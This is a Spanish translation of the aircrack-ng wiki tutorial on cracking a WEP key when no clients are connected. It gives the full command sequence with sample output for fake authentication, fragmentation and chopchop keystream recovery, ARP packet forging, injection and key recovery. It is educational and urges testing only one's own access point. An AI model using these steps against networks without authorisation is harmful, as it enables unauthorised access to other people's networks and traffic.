Herramientas de usuario

Herramientas del sitio


es:how_to_crack_wep_with_no_clients

Tutorial: Como crackear WEP sin clientes

Version: 1.09 de 16 de Mayo de 2007
By: darkAudax
Video: http://video.aircrack-ng.org/noclient/
Traducción: Revisada el 17 de Julio de 2007

Introducción

Hay muchas veces que encontramos redes wireless que no tienen clientes conectados. Este tutorial describe como obtener la clave WEP cuando no hay clientes. Aunque este tema ha sido discutido muchas veces en el Foro, este tutorial está hecho con la intención de entrar en más detalles y poner algunos ejemplos.

Es recomendable que cada uno experimente con su propio punto de acceso wireless, para familiarizarse con estas ideas y técnicas. Si no tienes un punto de acceso propio, recuerda que tienes que pedir permiso al propietario del router con el que quieras practicar este ateque.

Antes de nada hay que darles las gracias a los Desarrolladores de la suite Aircrack-ng por crear estas herramientas tan fantásticas.

Por favor, enviame cualquier sugerencia, positiva o negativa. Bien sean problemas o buenas ideas serán bienvenidas.

Puntos de partida

Suponemos que:

  • Estás usando drivers parcheados para inyección. Puedes capturar paquetes con Wireshark para comprobar si estás inyectando.
  • Estás físicamente suficientemente cerca para enviar y recibir paquetes del punto de acceso. Recuerda que recibir paquetes del punto de acceso no significa que los paquetes que transmitas sean recibidos por el AP. La fuerza de la señal de las tarjetas wireless generalmente es menor que la fuerza de la señal de los AP. Por lo tanto, es necesario estar cerca del AP, para que los paquetes que transmitimos sean recibidos por el AP. Deberías confirmar que te puedes comunicar con el AP siguiendo estas instrucciones
  • Hay algunos paquetes de datos que vienen del punto de acceso. Beacons (balizas) y otros paquetes como “management frame packets” son inútiles para nuestros propósitos en este tutorial. Una forma rápida para comprobar el tráfico es ejecutar airodump-ng y ver si hay algún paquete de datos. En el caso de tener paquetes de datos capturados del punto de acceso en otras sesiones, podríamos usarlos para generar nuevo tráfico. Esto es para usuarios avanzados y este tutorial no da instrucciones detalladas para este caso.
  • El punto de acceso usa encriptación WEP abierta (open authentication). No funcionará si la autentificación es compartida (shared key authentication) (SKA). Con SKA el único método si no existen clientes es capturar el PRGA xor data con airodump-ng handshake o hacer previamente un ataque con aireplay-ng. Esto es así porque necesitas el archivo PRGA xor para hacer una falsa autenticación de forma exitosa.
  • Usamos la versión 0.9 de aircrack-ng. Si usas otra versión algunos comandos puede que se tengan que escribir de forma diferente.

Asegurate de que cumples todas las condiciones, sino no funcionará. En los siguientes ejemplos, tendrás que cambiar “ath0” por el nombre de la interface de tu tarjeta wireless.

En los ejemplos, la opción “guión doble bssid” se muestra como ”- -bssid”. Acuérdate de borrar el espacio entre los dos guiones cuando lo utilices en la vida real. Esto tambien se aplica a ”- -ivs”.

Equipo usado

En este tutorial:

  • Dirección MAC del PC ejecutando la suite aircrack-ng: 00:09:5B:EC:EE:F2
  • BSSID (dirección MAC del punto de acceso): 00:14:6C:7E:40:80
  • ESSID (nombre de la red Wireless): teddy
  • Canal del AP: 9
  • Interface Wireless: ath0

Tienes que obtener la información equivalente de la red sobre la que quieres trabajar. Y cambiar estos valores en los siguientes ejemplos.

Solución

Contenidos

Aquí estań los pasos que vamos a seguir:

  • 1 - Fijar la dirección MAC de la tarjeta wireless
  • 2 - Colocar la interface wireless en modo monitor y fijar el canal
  • 3 - Usar aireplay-ng para hacer una falsa autenticación con el punto de acceso
  • 4 - Usar chopchop o ataque de fragmentación para obtener PRGA
  • 5 - Usar packetforge-ng para crear un paquete arp usando el PRGA obtenido en el paso anterior
  • 6 - Iniciar airodump-ng en el canal del AP con filtro de bssid para capturar IVs
  • 7 - Inyectar el paquete arp creado en el paso 5
  • 8 - Ejecutar aircrack-ng para obtener la clave WEP

Paso 1 - Fijar la dirección MAC de la tarjeta wireless

Para ser honesto, nosotros no hemos cambiado la dirección MAC de nuestra tarjeta.

Esto es un recordatorio para que uses tu dirección MAC real y no una falsa. En el paso 3 es importante que la dirección MAC que se use sea la de la nuestra tarjeta, para realizar la falsa autenticación. Si quieres cambiar la dirección MAC de tu tarjeta puedes consultar este : post en inglés FAQ: How do I change my card's MAC address ?.

Paso 2 - Colocar la interface wireless en modo monitor y fijar el canal

Escribe el siguiente comando para poner la tarjeta wireless en modo monitor en el canal 9:

airmon-ng start wifi0 9

Nota: En este comando usamos “wifi0” en lugar de nuestra interface “ath0”. Esto se debe a que estamos usando los drivers madwifi-ng y no madwifi-old.

El sistema nos responderá:

 Interface       Chipset         Driver
 
 wifi0           Atheros         madwifi-ng
 ath0            Atheros         madwifi-ng VAP (parent: wifi0) (monitor mode enabled)

Puedes observar que “ath0” aparece colocada en modo monitor.

Escribe “ifconfig ath0 up” para levantar la interface ath0 que usaremos a continuación.

Para confirmar que la interface está bien configurada, escribimos “iwconfig”.

El sistema nos responderá:

 lo        no wireless extensions.
 
 eth0      no wireless extensions.
 
 wifi0     no wireless extensions.
 
 ath0      IEEE 802.11g  ESSID:""  Nickname:""
           Mode:Monitor  Frequency:2.452 GHz  Access Point: 00:09:5B:EC:EE:F2   
           Bit Rate:0 kb/s   Tx-Power:15 dBm   Sensitivity=0/3  
           Retry:off   RTS thr:off   Fragment thr:off
           Encryption key:off
           Power Management:off
           Link Quality=0/94  Signal level=-98 dBm  Noise level=-98 dBm
           Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
           Tx excessive retries:0  Invalid misc:0   Missed beacon:0

Podemos ver que ath0 está en modo monitor, en la frecuencia 2.452GHz que corresponde al canal 9 y en “Access Point” vemos la dirección MAC de nuestra tarjeta wireless. Es importante comprobar toda esta información antes de continuar, ya que sino no funcionará.

Para ver la correspondencia entre frecuencia y canal, mira: http://www.cisco.com/en/US/docs/wireless/technology/channel/deployment/guide/Channel.html#wp134132 . Así obtendrás la frecuencia para cada canal.

Problemas

  • Si tienes otra interface en modo monitor que no sea ath0, puedes usarla o escribir “airomon-ng stop athX” donde X es la interface que quieres parar.

Usar aireplay-ng para hacer una falsa autenticación con el punto de acceso

Este es un paso muy importante.

Para que un punto de acceso acepte un paquete, la dirección MAC debe estar previamente asociada. Si la dirección MAC con la cual estas inyectando no etá asociada, el AP ignorará el paquete y enviará un paquete de desautentificación. En este caso, no se crearán nuevos IVs porque el AP está ignorando todos los paquetes inyectados.

La falta de asociación con el punto de acceso es la razón más habitual por la cual falla la inyección.

Para asociarse con un punto de acceso, usa el comando:

aireplay-ng -1 0 -e teddy -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0

Donde:

  • -1 significa falsa autenticación (fake authentication)
  • 0 tiempo de reasociación en segundos
  • -e teddy es el nombre de la red wireless
  • -a 00:14:6C:7E:40:80 es la dirección MAC del punto de acceso
  • -h 00:09:5B:EC:EE:F2 es la dirección MAC de nuestra tarjeta wireless
  • ath0 es el nombre de nuestra interface

Si tenemos éxito aparecerá algo como esto:

18:18:20  Sending Authentication Request
18:18:20  Authentication successful
18:18:20  Sending Association Request
18:18:20  Association successful :-)

Otra variación que puede funcionar en algunos puntos de acceso:

aireplay-ng -1 6000 -o 1 -q 10 -e teddy -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0

Donde:

  • 6000 Reautenticación cada 6000 segundos. En este periodo de tiempo se siguen enviando paquetes de sigo aquí o “keep alive packets”.
  • -o 1 Envia solo un tipo de paquetes de cada vez. El valor por defecto es “multiple” y esto puede confundir a algunos APs.
  • -q 10 Se envian paquetes de “sigo aquí” cada 10 segundos.

Si tenemos éxito aparecerá algo como esto:

18:22:32  Sending Authentication Request
18:22:32  Authentication successful
18:22:32  Sending Association Request
18:22:32  Association successful :-)
18:22:42  Sending keep-alive packet
18:22:52  Sending keep-alive packet
# etc....

Ahora ponemos un ejemplo de un fallo de autenticación:

8:28:02  Sending Authentication Request
18:28:02  Authentication successful
18:28:02  Sending Association Request
18:28:02  Association successful :-)
18:28:02  Got a deauthentication packet!
18:28:05  Sending Authentication Request
18:28:05  Authentication successful
18:28:05  Sending Association Request
18:28:10  Sending Authentication Request
18:28:10  Authentication successful
18:28:10  Sending Association Request

Presta atención a “Got a deauthentication packet” y los continuos intentos de asociación. No se puede pasar al siguiente paso hasta que funcione la falsa autenticación de forma correcta.

Problemas

  • Algunos puntos de acceso están configurados para permitir únicamente una dirección MAC para asociarse y conectarse. Si este es tu caso, no serás capaz de realizar la falsa autenticación de forma éxitosa, salvo que conozcas una de las direcciones MAC que están permitidas para poder conectarse a ese AP. Mira los problemas de filtrado MAC en este tutorial
  • Si deseas confirmar que estás asociado de forma correcta puedes usar tcpdump y mirar los paquetes. Inicia una consola y escribe:
 tcpdump -n -e -s0 -vvv -i ath0

A continuación puedes ver el mensaje de error que estamos buscando:

 11:04:34.360700 314us BSSID:00:14:6c:7e:40:80 DA:00:09:5B:EC:EE:F2 SA:00:14:6c:7e:40:80   DeAuthentication: Class 3 frame received from nonassociated station

Presta atención que el punto de acceso (00:14:6c:7e:40:80) le está diciendo a la tarjeta (00:09:5B:EC:EE:F2) que no está asociada. Lo que significa que el AP no aceptará los paquetes que inyectemos.

Si solo quieres seleccionar los paquetes de deautenticación con tcpdump usa: “tcpdump -n -e -s0 -vvv -i ath0 | grep DeAuth”. Puedes cambiar la palabra “DeAuth” para escoger otros paquetes que quieras buscar.

Paso 4 - Usar chopchop o ataque de fragmentación para obtener PRGA

El objetivo de chopchop y del ataque de fragmentación es obtener un archivo PRGA (del ingles “pseudo random generation algorithm” o algoritmo de generación seudo aleatoria). Este PRGA no es la clave WEP y no se puede usar para desencriptar paquetes. Aunque, si puede usarse para crear nuevos paquetes encriptados con la clave WEP para inyectarlos. La creación de nuevos paquetes la veremos más adelante en el tutorial.

Tanto chopchop como el ataque de fragmentación pueden ser usados para obtener el archivo PRGA. El resultado es el mismo, por lo que usa el que mejor te funcione. Los pros y contras de cada ataque están descritos en la página de aircrack-ng.

A continuación exponemos primero el ataque de fragmentación. Abrimos otra consola y escribimos:

aireplay-ng -5 -b 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0

Donde:

  • -5 significa ataque de fragmentación
  • -b 00:14:6C:7E:40:80 es la dirección MAC del punto de acceso
  • -h 00:09:5B:EC:EE:F2 es la dirección MAC de nuestra tarjeta wireless y debe coincidir con la dirección MAC usada en la falsa autenticación
  • ath0 es el nombre de nuestra interface

La respuesta que obtendremos será:

 aireplay-ng -5 -b 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0                 
 Waiting for a data packet...
 Read 127 packets...
         
         Size: 114, FromDS: 1, ToDS: 0 (WEP)
         
         BSSID  =  00:14:6C:7E:40:80
         Dest. MAC  =  01:00:5E:00:00:FB
         Source MAC  =  00:40:F4:77:E5:C9
         
         0x0000:  0842 0000 0100 5e00 00fb 0014 6c7e 4080  .B....^.....l~@.
         0x0010:  0040 f477 e5c9 6052 8c00 0000 3073 d265  .@.w..`R....0s.e
         0x0020:  c402 790b 2293 c7d5 89c5 4136 7283 29df  ..y.".....A6r.).
         0x0030:  4e9e 5e13 5f43 4ff5 1b37 3ff9 4da4 c03b  N.^._CO..7?.M..;
         0x0040:  8244 5882 d5cc 7a1f 2b9b 3ef0 ee0f 4fb5  .DX...z.+.>...O.
         0x0050:  4563 906d 0d90 88c4 5532 a602 a8ea f8e2  Ec.m....U2......
         0x0060:  c531 e214 2b28 fc19 b9a8 226d 9c71 6ab1  .1..+(...."m.qj.
         0x0070:  9c9f                                     ..
         
         Use this packet ? y

Cuando recibamos un paquete del punto de acceso, escribe “y” para continuar. Puede que sea necesario probar unos pocos paquetes para tener éxito.

Si tenemos éxito aparecerá algo como esto:

 Saving chosen packet in replay_src-0203-180328.cap
 Data packet found!
 Sending fragmented packet
 Got RELAYED packet!!
 Thats our ARP packet!
 Trying to get 384 bytes of a keystream
 Got RELAYED packet!!
 Thats our ARP packet!
 Trying to get 1500 bytes of a keystream
 Got RELAYED packet!!
 Thats our ARP packet!
 Saving keystream in fragment-0203-180343.xor
 Now you can build a packet with packetforge-ng out of that 1500 bytes keystream

Éxito! El archivo “fragment-0203-180343.xor” lo podremos usar en el siguiente paso para generar un paquete arp.

Si con el ataque de fragmentación no hemos tenido éxito, podemos probar la técnica chopchop. Para ello ejecuta:

aireplay-ng -4 ath0 -h 00:09:5B:EC:EE:F2

Donde:

  • -4 significa ataque chopchop
  • -h 00:09:5B:EC:EE:F2 es la dirección MAC de nuestra tarjeta wireless y debe coincidir con la dirección MAC usada en Dla falsa autenticación
  • ath0 es el nombre de nuestra interface

La respuesta que obtendremos será:

      Read 165 packets...

         Size: 86, FromDS: 1, ToDS: 0 (WEP)
 
         BSSID  =  00:14:6C:7E:40:80
         Dest. MAC  =  FF:FF:FF:FF:FF:FF
         Source MAC  =  00:40:F4:77:E5:C9
 
         0x0000:  0842 0000 ffff ffff ffff 0014 6c7e 4080  .B..........l~@.
         0x0010:  0040 f477 e5c9 603a d600 0000 5fed a222  .@.w..`:...._.."
         0x0020:  e2ee aa48 8312 f59d c8c0 af5f 3dd8 a543  ...H......._=..C
         0x0030:  d1ca 0c9b 6aeb fad6 f394 2591 5bf4 2873  ....j.....%.[.(s
         0x0040:  16d4 43fb aebb 3ea1 7101 729e 65ca 6905  ..C...>.q.r.e.i.
         0x0050:  cfeb 4a72 be46                           ..Jr.F

 Use this packet ? y

Contesta “y” y el proceso continuará.

 Saving chosen packet in replay_src-0201-191639.cap
 
 Offset   85 ( 0% done) | xor = D3 | pt = 95 |  253 frames written in   760ms
 Offset   84 ( 1% done) | xor = EB | pt = 55 |  166 frames written in   498ms
 Offset   83 ( 3% done) | xor = 47 | pt = 35 |  215 frames written in   645ms
 Offset   82 ( 5% done) | xor = 07 | pt = 4D |  161 frames written in   483ms
 Offset   81 ( 7% done) | xor = EB | pt = 00 |   12 frames written in    36ms
 Offset   80 ( 9% done) | xor = CF | pt = 00 |  152 frames written in   456ms
 Offset   79 (11% done) | xor = 05 | pt = 00 |   29 frames written in    87ms
 Offset   78 (13% done) | xor = 69 | pt = 00 |  151 frames written in   454ms
 Offset   77 (15% done) | xor = CA | pt = 00 |   24 frames written in    71ms
 Offset   76 (17% done) | xor = 65 | pt = 00 |  129 frames written in   387ms
 Offset   75 (19% done) | xor = 9E | pt = 00 |   36 frames written in   108ms
 Offset   74 (21% done) | xor = 72 | pt = 00 |   39 frames written in   117ms
 Offset   73 (23% done) | xor = 01 | pt = 00 |  146 frames written in   438ms
 Offset   72 (25% done) | xor = 71 | pt = 00 |   83 frames written in   249ms
 Offset   71 (26% done) | xor = A1 | pt = 00 |   43 frames written in   129ms
 Offset   70 (28% done) | xor = 3E | pt = 00 |   98 frames written in   294ms
 Offset   69 (30% done) | xor = BB | pt = 00 |  129 frames written in   387ms
 Offset   68 (32% done) | xor = AE | pt = 00 |  248 frames written in   744ms
 Offset   67 (34% done) | xor = FB | pt = 00 |  105 frames written in   315ms
 Offset   66 (36% done) | xor = 43 | pt = 00 |  101 frames written in   303ms
 Offset   65 (38% done) | xor = D4 | pt = 00 |  158 frames written in   474ms
 Offset   64 (40% done) | xor = 16 | pt = 00 |  197 frames written in   591ms
 Offset   63 (42% done) | xor = 7F | pt = 0C |   72 frames written in   217ms
 Offset   62 (44% done) | xor = 1F | pt = 37 |  166 frames written in   497ms
 Offset   61 (46% done) | xor = 5C | pt = A8 |  119 frames written in   357ms
 Offset   60 (48% done) | xor = 9B | pt = C0 |  229 frames written in   687ms
 Offset   59 (50% done) | xor = 91 | pt = 00 |  113 frames written in   339ms
 Offset   58 (51% done) | xor = 25 | pt = 00 |  184 frames written in   552ms
 Offset   57 (53% done) | xor = 94 | pt = 00 |   33 frames written in    99ms
 Offset   56 (55% done) | xor = F3 | pt = 00 |  193 frames written in   579ms
 Offset   55 (57% done) | xor = D6 | pt = 00 |   17 frames written in    51ms
 Offset   54 (59% done) | xor = FA | pt = 00 |   81 frames written in   243ms
 Offset   53 (61% done) | xor = EA | pt = 01 |   95 frames written in   285ms
 Offset   52 (63% done) | xor = 5D | pt = 37 |   24 frames written in    72ms
 Offset   51 (65% done) | xor = 33 | pt = A8 |   20 frames written in    59ms
 Offset   50 (67% done) | xor = CC | pt = C0 |   97 frames written in   291ms
 Offset   49 (69% done) | xor = 03 | pt = C9 |  188 frames written in   566ms
 Offset   48 (71% done) | xor = 34 | pt = E5 |   48 frames written in   142ms
 Offset   47 (73% done) | xor = 34 | pt = 77 |   64 frames written in   192ms
 Offset   46 (75% done) | xor = 51 | pt = F4 |  253 frames written in   759ms
 Offset   45 (76% done) | xor = 98 | pt = 40 |  109 frames written in   327ms
 Offset   44 (78% done) | xor = 3D | pt = 00 |  242 frames written in   726ms
 Offset   43 (80% done) | xor = 5E | pt = 01 |  194 frames written in   583ms
 Offset   42 (82% done) | xor = AF | pt = 00 |   99 frames written in   296ms
 Offset   41 (84% done) | xor = C4 | pt = 04 |  164 frames written in   492ms
 Offset   40 (86% done) | xor = CE | pt = 06 |   69 frames written in   207ms
 Offset   39 (88% done) | xor = 9D | pt = 00 |  137 frames written in   411ms
 Offset   38 (90% done) | xor = FD | pt = 08 |  229 frames written in   688ms
 Offset   37 (92% done) | xor = 13 | pt = 01 |  232 frames written in   695ms
 Offset   36 (94% done) | xor = 83 | pt = 00 |   19 frames written in    58ms
 Offset   35 (96% done) | xor = 4E | pt = 06 |  230 frames written in   689ms
 Sent 957 packets, current guess: B9...
 
 The AP appears to drop packets shorter than 35 bytes.
 Enabling standard workaround: ARP header re-creation.
 
 Saving plaintext in replay_dec-0201-191706.cap
 Saving keystream in replay_dec-0201-191706.xor
 
 Completed in 21s (2.29 bytes/s)

Fantástico! El archivo “replay_dec-0201-191706.xor” lo podremos usar en el siguiente paso para generar un paquete arp.

Pequeñas ayudas

  • Asegúrate de que el paquete es de 68 o más bytes porque sino no tendrás suficientes datos PRGA para generar el paquete. El PRGA capturado tiene que ser igual o mayor que la longitud del paquete que queremos generar.
  • Para generar algunos paquetes para forzar el comienzo de chopchop, haz ping a una IP inexistente de tu red. Esto forzará que el AP emita un “arp broadcast” y este aparecerá en chopchop para ser usado.
  • Puedes comprobar el paquete desencriptado ejecutando “tcpdump -n -vvv -e -s0 -r replay_dec-0201-191706.cap”. En nuestroejemplo:

reading from file replay_dec-0201-191706.cap, link-type IEEE802_11 (802.11) 19:17:06.842866 0us DA:Broadcast BSSID:00:14:6c:7e:40:80 SA:00:40:f4:77:e5:c9 LLC, dsap SNAP (0xaa), ssap SNAP (0xaa), cmd 0x03: oui Ethernet (0x000000), ethertype ARP (0x0806): arp who-has 192.168.1.12 tell 192.168.1.1

  • Puedes reusar el paquete capturado ejecutando “aireplay-ng -4 ath0 -h 00:09:5B:EC:EE:F2 -r replay_src-0201-191639.cap”. El nombre del archivo aparece cuando se inicia chopchop.
  • Si tienes un archivo de capturas de una sesión anterior, puedes usarlo con el comando “aireplay-ng -4 ath0 -h 00:09:5B:EC:EE:F2 -r captura-sesión-anterior.cap”

Problemas

  • Si el primer paquete que has seleccionado no funciona, prueba unos pocos más. Algunas veces hay que intentarlo varias veces para conseguir tener éxito en cualquiera de los ataques.
  • El ataque chopchop no funciona en algunos puntos de acceso. Si esto ocurre, prueba el ataque de fragmentación. Y viceversa.
  • Asegurate de que estás correctamente asociado al AP. Para comprobarlo sigue las instrucciones del paso 2 con tcpdump.

Paso 5 - Usar packetforge-ng para crear un paquete arp

En el paso anterior hemos obtenido el PRGA. No importa con que ataque hemos generado el PRGA. Este PRGA se encuentra en los archivos con extensión “xor”. Podemos entonces usar este PRGA para generar un paquete para inyectar. Generaremos un paquete arp para la inyección. El objetivo es que el punto de acceso reenvie continuamente el paquete arp inyectado. Cuando lo reenvie obtendremos un nuevo IV (vector de inicialización). Todos estos IVs los usaremos para obtener la clave WEP.

Pero primero vamos a generar el paquete arp para la inyección, escribiendo:

packetforge-ng -0 -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 -k 255.255.255.255 -l 255.255.255.255.255 -y fragment-0203-180343.xor -w arp-request

Donde:

  • -0 significa generar un paquete arp
  • -a 00:14:6C:7E:40:80 es la dirección MAC del punto de acceso
  • -h 00:09:5B:EC:EE:F2 es la dirección MAC de nuestra tarjeta wireless
  • -k 255.255.255.255 es la IP de destino (la mayoría de los APs responden a 255.255.255.255)
  • -l 255.255.255.255.255 es la IP de origen (la mayoría de los APs responden a 255.255.255.255)
  • -y fragment-0203-180343.xor es el archivo del que se leerá el PRGA
  • -w arp-request es el nombre del archivo en el que se guardará el paquete arp

La respuesta que obtendremos será:

 Wrote packet to: arp-request

Pequeñas ayudas

  • Despues de crear el paquete, usa tcpdump para revisarlo. Escribe

tcpdump -n -vvv -e -s0 -r arp-request

 reading from file arp-request, link-type IEEE802_11 (802.11)
 10:49:17.456350 WEP Encrypted 258us BSSID:00:14:6c:7e:40:80 SA:00:09:5b:ec:ee:f2 DA:Broadcast Data IV: 8f Pad 0 KeyID 0

Como estamos probando con nuestro propio AP (si no es así NO CONTINUES!), desencriptamos el paquete y nos aseguramos de que es correcto. Este paso no es necesario, solo sirve para comprobar que hemos generado un paquete correcto.

Escribimos: “airdecap-ng -e teddy -w <tu clave WEP> arp-request”. Y para ver el paquete desencriptado: “tcpdump -n -r arp-request-dec”. Deberíamos observar algo como esto:

 reading from file arp-request-dec, link-type EN10MB (Ethernet)
 10:49:17.456350 arp who-has 255.255.255.255 tell 255.255.255.255

Paso 6 - Iniciar airodump-ng

Abrir otra consola para capturar los IVs generados. Y escribir:

airodump-ng -c 9 –bssid 00:14:6C:7E:40:80 -w capture ath0

Donde:

  • -c 9 es el canal de la red wireless
  • – -bssid 00:14:6C:7E:40:80 es la dirección MAC del AP. Esto elimina el trafico de otras redes.
  • – -ivs especifica que solo capturaremos IVs. Así el archivo será muy pequeño. Pero no uses esta opción si quieres utilizar “aircrack-ng -z”.
  • -w capture es el nombre del archivo en el que guardaremos los IVs.
  • ath0 es el nombre de nuestra interface.

Paso 7 - Inyectar el paquete arp

Usando la consola en la que generamos el paquete arp, escribimos:

aireplay-ng -2 -r arp-request ath0

Donde:

  • -2 significa que usamos el modo interactivo para seleccionar el paquete
  • -r arp-request especificamos el nombre del archivo con el paquete arp
  • ath0 es el nombre de nuestra interface

Obtendremos la siguiente respuesta:

      Size: 68, FromDS: 0, ToDS: 1 (WEP)
      
           BSSID  =  00:14:6C:7E:40:80
       Dest. MAC  =  FF:FF:FF:FF:FF:FF
      Source MAC  =  00:09:5B:EC:EE:F2
      
      0x0000:  0841 0201 0014 6c7e 4080 0009 5bec eef2  .A....l~@...[...
      0x0010:  ffff ffff ffff 8001 8f00 0000 7af3 8be4  ............z...
      0x0020:  c587 b696 9bf0 c30d 9cd9 c871 0f5a 38c5  ...........q.Z8.
      0x0030:  f286 fdb3 55ee 113e da14 fb19 17cc 0b5e  ....U..>.......^
      0x0040:  6ada 92f2                                j...
      
      Use this packet ? y

Escribimos “y” para usar este paquete. Veremos cuantos paquetes estamos inyectando y se nos recuerda que iniciemos airodump-ng si no lo hemos hecho todavía:

 Saving chosen packet in replay_src-0204-104917.cap
 You should also start airodump-ng to capture replies.
 
 End of file.

Mientras este comando se está ejecutando de forma exitosa, en la ventana de airodump-ng veremos algo similar a esto:

 CH  9 ][ Elapsed: 16 s ][ 2007-02-04 11:04 
                                                                                                               
  BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
                                                                                                               
  00:14:6C:7E:40:80   47 100      179     2689  336   9  11  WEP  WEP         teddy                           
                                                                                                               
  BSSID              STATION            PWR  Lost  Packets  Probes                                             
                                                                                                               
  00:14:6C:7E:40:80  00:09:5B:EC:EE:F2   29     0     2707                                                     

Puedes observar que solo hay un punto de acceso puesto que hemos incluido en airodump-ng el filtro para limitar la captura a un único BSSID. Tambien observa que los paquetes de la tarjeta son aproximadamente los mismos que los paquetes (data) del BSSID. Esto significa que la inyección está funcionando bien y se pierden pocos paquetesl. Tambien observa la velocidad de inyección (#/s) de 336 paquetes por segundo, lo cual es un indicador de que la inyección está funcionando muy bien. Esta es una situación “ideal” de inyección.

Problemas

  • Si los paquetes del BSSID (data) no aumentan asegurate de que estas todavía asociado con el punto de acceso. Para hacer esto, mira las instrucciones sobre tcpdump en el paso 2.

Paso 8 - Ejecutar aircrack-ng para obtener la clave WEP

Inicia otra consola y escribe:

aircrack-ng -z -b 00:14:6C:7E:40:80 capture*.cap

Donde:

  • -z significa que se use el método PTW para obtener más rápido la clave WEP
  • capture*.cap selecciona todos los archivos que comienzan por “capture” y con extensión “cap”.
  • -b 00:14:6C:7E:40:80 selecciona el punto de acceso en el que estamos interesados

Puedes ejecutar aircrack-ng mientras capturas paquetes. En poco tiempo, verás la clave WEP. Usando el método PTW, necesitarás alrededor de 20,000 paquetes de datos para una clave de 64 bit y 40,000 para claves de 128 bit. Recuerda que el métodoPTW solo funciona con paquetes ARP. Como este tutorial solo cubre este tipo de paquetes no tendrás problema ninguno. El otro requerimiento es que has de capturar con airodump archivos *.cap, lo que significa que no puedes usar laopción ”- -ivs”.

Si no usas la opción ”-z”, se aplicará el método FMS/Korek. Necesitarás aproximadamente 250,000 IVs para una clave WEP de 64 bit y 1,500,000 IVs para claves de 128 bit. Esto es aproximado y hay muchas variables que influyen en el número de IVs necesarios para obtener la clave WEP.

Problemas:

  • Algunas veces es recomendable probar varias técnicas para obtener la clave WEP rápidamente. Prueba la opción “-n” para fijar la longitud de la clave (por ejemplo -n 64). Usa “-f” y prueba diferentes “fudge factors”. Usa “-k” y prueba a desabilitar los métodos korek.

Solución alternativa

Existe un pequeño engaño que simplifica el crackeo de la clave WEP sin clientes. Básicamente consiste en recoger cualquier paquete “broadcast” del punto de acceso y convertirlo para que el punto de acceso genere un nuevo IV.

Es importante que tengas en cuenta que si usas este truco, no podrás utilizar la opción ”-z” del método PTW con aircrack-ng. Esto se debe a que el método PTW requiere paquetes arp y de esta forma no los generamos.

OK, ahora te estarás preguntando ¿porque no te enseño esta técnica paso a paso?. La razón es que con esta técnica se reenvian todos los paquetes que recibas. Por lo que si recibes un paquete de 1000 byte entonces reenviaras 1000 bytes. Esto reduce de forma muy importante el número de paquetes capturados por segundo. Aunque, como ventaja podemos destacar que es muy simple y muy fácil de hacer. Además puede que tengas suerte y que recibas un paquete muy pequeño para reenviar. En este caso, esta técnica funcionará tan bien como la descrita con anterioridad en este tutorial.

Hay que tener en cuenta las mismas consideraciones y realizar con anterioridad una falsa autenticación.

Escribe el siguiente comando:

 aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0

Donde:

  • -2 significa que usamos el modo interactivo para seleccionar el paquete
  • -p 0841 fija el “Frame Control” para que parezca que el paquete se está enviando desde un cliente wireless.
  • c FF:FF:FF:FF:FF:FF fija la dirección MAC de destino como “broadcast”. Esto se requiere para que el AP reenvie el paquete y así consigamos un nuevo IV.
  • -b 00:14:6C:7E:40:80 es la dirección MAC del punto de acceso
  • -h 00:09:5B:EC:EE:F2 es la dirección MAC de nuestra tarjeta y debe coincidir con la utilizada en la falsa autenticacion
  • ath0 es el nombre de nuestra interface

El sistema nos contestará:

 Read 698 packets...
 
      Size: 86, FromDS: 1, ToDS: 0 (WEP)
 
           BSSID  =  00:14:6C:7E:40:80
       Dest. MAC  =  FF:FF:FF:FF:FF:FF
      Source MAC  =  00:D0:CF:03:34:8C

      0x0000:  0842 0000 ffff ffff ffff 0014 6c7e 4080  .B..........l~@.
      0x0010:  00d0 cf03 348c a0f4 2000 0000 e233 962a  ....4... ....3.*
      0x0020:  90b5 fe67 41e0 9dd5 7271 b8ed ed23 8eda  ...gA...rq...#..
      0x0030:  ef55 d7b0 a56f bc16 355f 8986 a7ab d495  .U...o..5_......
      0x0040:  1daa a308 6a70 4465 9fa6 5467 d588 c10c  ....jpDe..Tg....
      0x0050:  f043 09f6 5418                           .C..T.
 
 Use this packet ? y

Escribes “y” para seleccionar el paquete y empezar la inyección. Recuerda, cuanto más pequeño sea el paquete mucho mejor. Al empezar la inyección verás algo como esto:

 Saving chosen packet in replay_src-0411-145110.cap
 
 Sent 10204 packets...(455 pps)

Si aun no has iniciado airodump-ng, ejecútalo ahora. Una vez que tengas suficientes IVs, puedes iniciar aircrack-ng e intentar averiguar la clave WEP.

Otra variación de este ataque es usar paquetes de una captura anterior. Debes de tener guardados los paquetes enteros, y no solo los IVs.

A continuación puedes ver como sería el comando:

 aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 -r capture-01.cap ath0

Donde ”-r capture-01.cap” es el archivo de una captura anterior.

es/how_to_crack_wep_with_no_clients.txt · Última modificación: 2010/09/25 22:40 por darkaudax